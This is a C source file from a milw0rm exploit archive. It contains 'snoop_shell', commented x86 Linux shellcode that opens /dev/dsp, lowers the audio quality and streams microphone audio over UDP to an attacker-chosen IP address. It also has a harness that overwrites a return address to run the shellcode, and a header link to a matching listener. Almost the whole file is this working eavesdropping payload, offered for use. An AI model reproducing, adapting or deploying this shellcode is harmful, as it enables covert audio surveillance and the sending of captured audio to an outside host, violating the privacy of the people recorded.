Repository navigation
Expand file tree
/
Copy path13408.c
More file actions
executable file
·160 lines (127 loc) · 6.35 KB
/
Copy path13408.c
File metadata and controls
executable file
·160 lines (127 loc) · 6.35 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
/* Placed the listener here http://www.milw0rm.com/down.php?id=1293 /str0ke */
/********************************************************************
hey folks, this is snoop_shell, short and simply it snoops on
/dev/dsp and after attempting to lower the audio quality
will stream any data read on this device over a udp stream
to a remote listening client.. (source should be available at stonedcoder.org)
the port that this will stream on is whatever the high half
of the ip address is, i figured this will always be over 1024
so the client will be usable without root privs.
at 172 bytes, its really bloated for shellcode, but if your
reading this anyway, you probably are just looking to have fun
with it..
remember you'll need to change the ip address before you
actually use it.. and if your unlucky enough to have an
ip address that contains a null.. well.. its on you to fix it..
but you can do that by simply rotating the ipaddress by a bit or
two..
mov $0xE8015180,%ebx #192.168.0.116
ror %ebx #shift right by one bit
no more null
phar[at]stonedcoder[dot]org
*********************************************************************/
char shellcode[] =
"\x31\xc9" //xor %ecx,%ecx
"\x51" //push %ecx # \x00
"\x68\x2f\x64\x73\x70" //push $0x7073642f # /dsp
"\x68\x2f\x64\x65\x76" //push $0x7665642f # /dev
"\x89\xe3" //mov %esp,%ebx
"\x89\xc8" //mov %ecx,%eax
"\xb1\x02" //mov $0x2,%cl
"\xb0\x05" //mov $0x5,%al
"\xcd\x80" //int $0x80 #open /dev/dsp for reading
"\x89\xc6" //mov %eax,%esi #preserve fd in esi
"\x31\xc9" //xor %ecx,%ecx
"\x51" //push %ecx
"\x31\xdb" //xor %ebx,%ebx
"\xb3\x02" //mov $0x2,%bl
"\x53" //push %ebx
"\x53" //push %ebx
"\x4b" //dec %ebx
"\x89\xe1" //mov %esp,%ecx
"\x89\xd8" //mov %ebx,%eax
"\xb0\x66" //mov $0x66,%al
"\xcd\x80" //int $0x80 #create a udp socket
"\x89\xc7" //mov %eax,%edi #preserve socket in edi
"\xc1\xc3\x04" //rol $0x4,%ebx
"\x53" //push %ebx
"\x89\xe2" //mov %esp,%edx
"\xb9\x05\x50\x04\xc0" //mov $0xc0045005,%ecx
"\x89\xf3" //mov %esi,%ebx
"\xb0\x36" //mov $0x36,%al
"\xcd\x80" //int $0x80 #ioctl on fd SOUND_PCM_WRITE_BITS (16 bits per samle)
"\xfe\xc0" //inc %al
"\x89\x04\x24" //mov %eax,(%esp)
"\xfe\xc1" //inc %cl
"\xb0\x36" //mov $0x36,%al
"\xcd\x80" //int $0x80 #ioctl on fd SOUND_PCM_WRITE_CHANNELS (1 channel)
"\xfe\xc0" //inc %al
"\xc1\xc0\x0d" //rol $0xd,%eax
"\x89\x04\x24" //mov %eax,(%esp)
"\xc1\xc8\x04" //ror $0x8,%eax
"\xb1\x02" //mov $0x2,%cl
"\xb0\x36" //mov $0x36,%al #ioctl on fd SOUND_PCM_WRITE_RATE (8khz)
"\xcd\x80" //int $0x80
"\x50" //push %eax
"\x50" //push %eax
"\x89\xc2" //mov %eax,%edx
/* prepare an area on the stack that looks like an struct in_addr */
/*your ipv4 ip address*/
"\xbb" "\xc0\xa8\x0f\x2e" //mov $0x7401a8c0,%ebx #your ipaddress would go here currently set to 192.168.1.116
"\x53" //push %ebx
"\xc1\xe3\x10" //shl $0x10,%ebx
"\xb3\x02" //mov $0x2,%bl
"\x53" //push %ebx #port and family, (we'll use use the hi half of the address for a port)
/* allocate 1025 byte buffer on the stack */
"\x89\xe3" //mov %esp,%ebx
"\x66\xba\x01\x04" //mov $0x401,%dx #create the space on the stack (1025 bytes)
"\x29\xd4" //sub %edx,%esp
"\x89\xe0" //mov %esp,%eax
"\x31\xc9" //xor %ecx,%ecx
"\xb1\x10" //mov $0x10,%cl
"\x51" //push %ecx
"\x53" //push %ebx
"\x31\xc9" //xor %ecx,%ecx
"\x51" //push %ecx
"\x52" //push %edx
"\x50" //push %eax
"\x57" //push %edi
"\x89\xc2" //mov %eax,%edx
"\x89\xcb" //mov %ecx,%ebx
"\x89\xc8" //mov %ecx,%eax
"\x89\xe1" //mov %esp,%ecx
"\xb3\x0b" //mov $0xb,%bl
"\xb0\x66" //mov $0x66,%al
"\x51" //push %ecx
"\x89\xe7" //mov %esp,%edi #registers and stack are prepared for call to sendto
"\x60" //pusha #push regs onto stack
"\x89\xf3" //mov %esi,%ebx
"\x89\xd1" //mov %edx,%ecx
"\x89\xd8" //mov %ebx,%eax
"\xb0\x03" //mov $0x3,%al
"\x89\xc2" //mov %eax,%edx
"\x66\xba\x01\x08" //mov $0x401,%dx #registers are prepared for call to read
"\x60" //pusha #push regs
"\x89\x27" //mov %esp,(%edi) #store this stack pointer in the memory allocated above
/*loop:*/ // #so that we can restore it for the loop
"\x61" //popa #pop prepared registers from stack
"\xcd\x80" //int $0x80 #call read
"\x61" //popa #pop registers again
"\xcd\x80" //int $0x80 #call sendto
"\x8b\x27" //mov (%edi),%esp #pulls from the memory allocated before and restores esp
"\xeb\xf6" //jmp 80483f5 <loop>
;
int main() {
int *ret;
char cnull = 0;
printf("shellcode_size: %u\n", sizeof(shellcode));
printf("contains nulls: ");
if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){
printf("yes\n");
}else{
printf("no\n");
}
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
// milw0rm.com [2005-11-04]